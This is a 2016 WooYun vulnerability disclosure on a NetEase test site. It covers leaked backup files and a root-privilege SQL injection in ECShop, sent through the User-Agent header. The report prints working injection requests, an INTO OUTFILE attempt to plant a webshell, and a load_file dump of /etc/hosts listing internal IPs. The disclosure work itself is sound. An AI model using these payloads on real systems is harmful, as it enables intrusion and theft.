网易某站点MySQL注入(root)和备份文件泄漏

编号190307
Urlhttp://www.wooyun.org/bug.php?action=view&id=190307
漏洞状态厂商已经确认
漏洞标题网易某站点MySQL注入(root)和备份文件泄漏
漏洞类型SQL注射漏洞
厂商网易
白帽子lijiejie
提交日期2016-03-29 10:19:00
公开日期2016-05-15 10:40:00
修复时间(not set)
确认时间2016-03-31 00:00:00
Confirm Spend2
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank10
厂商评级
厂商评rank10
漏洞简介
网易某站点MySQL注入(root)和备份文件泄漏
漏洞细节

目录浏览,备份文件(sql,zip)打包下载:

http://tx2-bk02-30013.i.nease.net/


netease.index.png


logo目录下是ecshop,存在MySQL注射,root权限。

POC

GET /logo/mobile/ HTTP/1.1
User-Agent: test'+(select 1 from (select count(*),concat( floor(rand(0)*2), 0x5e5e5e, user(), 0x5e5e5e) x from information_schema.character_sets group by x)y)#
Cookie: ECS_ID=06b1e3e2558cdd1cc6e4c2f7aeaf2980a0b17577; real_ipd=106.38.178.198
Host: tx2-bk02-30013.i.nease.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*


[error] => Duplicate entry '1^^^[email protected]^^^' for key 'group_key'

netease.mysqli.png


将logo.zip解压到我的Linux服务器,尝试找一个可写的目录,很遗憾,没找到((┬_┬)。。。),所以这里直接写webshell不成功:

GET /logo/mobile/ HTTP/1.1
User-Agent: test' union select 1,2,3,4,5 into outfile '/var/www/html/bak/t.txt'#
Cookie: ECS_ID=06b1e3e2558cdd1cc6e4c2f7aeaf2980a0b17577; real_ipd=106.38.178.198
Host: tx2-bk02-30013.i.nease.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*


netease.output.fail.png


available databases [4]:
[*] information_schema
[*] miqi2
[*] mysql
[*] performance_schema


系统是debian:

#Netease Mirror
deb http://apt.x.netease.com:8660/debian/ jessie main non-free contrib
deb http://apt.x.netease.com:8660/debian/ jessie-updates main non-free contrib
deb-src http://apt.x.netease.com:8660/debian/ jessie main non-free contrib
deb-src http://apt.x.netease.com:8660/debian/ jessie-updates main non-free contrib
deb http://apt.x.netease.com:8660/debian-security/ jessie/updates main non-free contrib
deb-src http://apt.x.netease.com:8660/debian-security/ jessie/updates main non-free contrib


select load_file('/etc/hosts'):    
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
# Following entries are specific to your environment
123.58.190.48 h1-o
123.58.190.49 h2-o
123.58.190.50 r1-o
10.120.190.48 h1
10.120.190.49 h2
10.120.190.50 r1
10.120.165.165 r2
10.120.164.144 r3

修复方案

这么个测试站,建议还是不要绑到外网IP上了

状态信息 2016-03-29: 细节已通知厂商并且等待厂商处理中
2016-03-31: 厂商已经确认,细节仅向厂商公开
2016-04-10: 细节向核心白帽子及相关领域专家公开
2016-04-20: 细节向普通白帽子公开
2016-04-30: 细节向实习白帽子公开
2016-05-15: 细节向公众公开
厂商回复该站点属于测试站点,目前已经下线,感谢您对网易产品的关注。
回应信息危害等级:中漏洞Rank:10 确认时间:2016-03-31 10:37
Showing 1-3 of 3 items.
评论内容评论人点赞数评论时间

后排

带我玩02016-03-29 16:02:00

前排

东方先生02016-03-29 10:28:00

前排

奶嘴02016-03-29 10:20:00